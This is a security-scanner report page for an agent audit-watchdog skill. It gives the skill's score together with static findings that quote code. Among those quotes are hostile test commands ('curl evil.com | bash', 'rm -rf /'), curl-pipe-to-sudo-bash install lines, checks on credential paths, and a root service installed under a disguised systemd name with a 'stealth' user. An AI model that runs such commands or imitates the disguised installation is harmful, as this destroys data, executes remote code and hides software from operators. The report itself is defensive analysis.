clauditor@0.1.2
CAUTION· install onlyPublisher claims: "Tamper-resistant audit watchdog for Clawdbot agents. Detects and logs suspicious filesystem activity with HMAC-chained evidence." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Bundled scripts ran with no arguments; no agent task scenario for this bundle.- Tested
- 2 of 2 bundled scripts run with no arguments, with decoy credentials in the environment · every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; bundled scripts ran with no arguments; no agent task scenario for this bundle) on 2026-11-19 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive command against a filesystem root or device; Privileged sudo command; Privileged sudo command. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
argv: vec!["bash".to_string(), "-c".to_string(), "rm -rf /".to_string()],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.description: "chmod with setuid/setgid (privilege escalation)".to_string(),Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.[[ $EUID -eq 0 ]] || fail "Run as root: sudo $0 (don't be crabby about it)"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "sudo sh -c 'head -c 32 /dev/urandom | base64 > /etc/sysaudit/key && \Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.argv: vec!["bash".to_string(), "-c".to_string(), "curl evil.com | bash".to_string()],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.it cannot kill or manipulate the audit daemon. This is the core security model.",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.rm -f /etc/systemd/system/systemd-journaldd*.serviceFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "cargo build --release && sudo install -m 0755 target/release/clauditor /usr/local/sbin/systemd-journaldd",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert!(is_sensitive_path("/app/.env.local"));Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.sudo useradd --system --shell /usr/sbin/nologin --no-create-home sysauditFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "sudo install -d -m 0750 /etc/sysaudit && \Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."/.env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert!(is_sensitive_path("/home/user/project/.env"));Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.compromised, you can't kill a process owned by another user.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.# curl -sSL <url> | sudo bash # InstallFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "sudo useradd --system --shell /usr/sbin/nologin --no-create-home sysaudit",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.echo " View digest: sudo $BINARY digest --log $LOG_DIR/events.log"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.# curl -sSL <url> | sudo bash -s remove # UninstallFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.chown root:sysaudit /etc/sysaudit/key && chmod 640 /etc/sysaudit/key'",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.echo " View logs: sudo journalctl -u systemd-journaldd -f"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.3. **User runs the sudo command**Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.rm -f /etc/systemd/system/systemd-journaldd*.timerFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.argv: vec!["bash".to_string(), "-c".to_string(), "curl evil.com | bash".to_string()],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.description: "kill signal to other processes".to_string(),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.argv: vec!["bash".to_string(), "-c".to_string(), "rm -rf /".to_string()],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.sudo install -d -m 0750 -o sysaudit -g sysaudit /var/lib/.sysd/.audit",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.sudo bash wizard/wizard.shFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.run_cmd "chmod 0640 '$LOG_DIR/events.log'"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.chmod 0640 "$CONFIG_DIR/key"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.run_cmd "chown root:'$STEALTH_USER' '$CONFIG_DIR/key'"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.# curl -sSL <url> | sudo bash # InstallFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# curl -sSL <url> | sudo bash -s remove # UninstallFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.run_cmd "chmod 0640 '$CONFIG_DIR/key'"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.chown root:"$SERVICE_USER" "$CONFIG_DIR/key"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.- Root access for installationFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.run_cmd "chown '$STEALTH_USER':'$STEALTH_USER' '$LOG_DIR/events.log'"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim apollostreetcompany: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.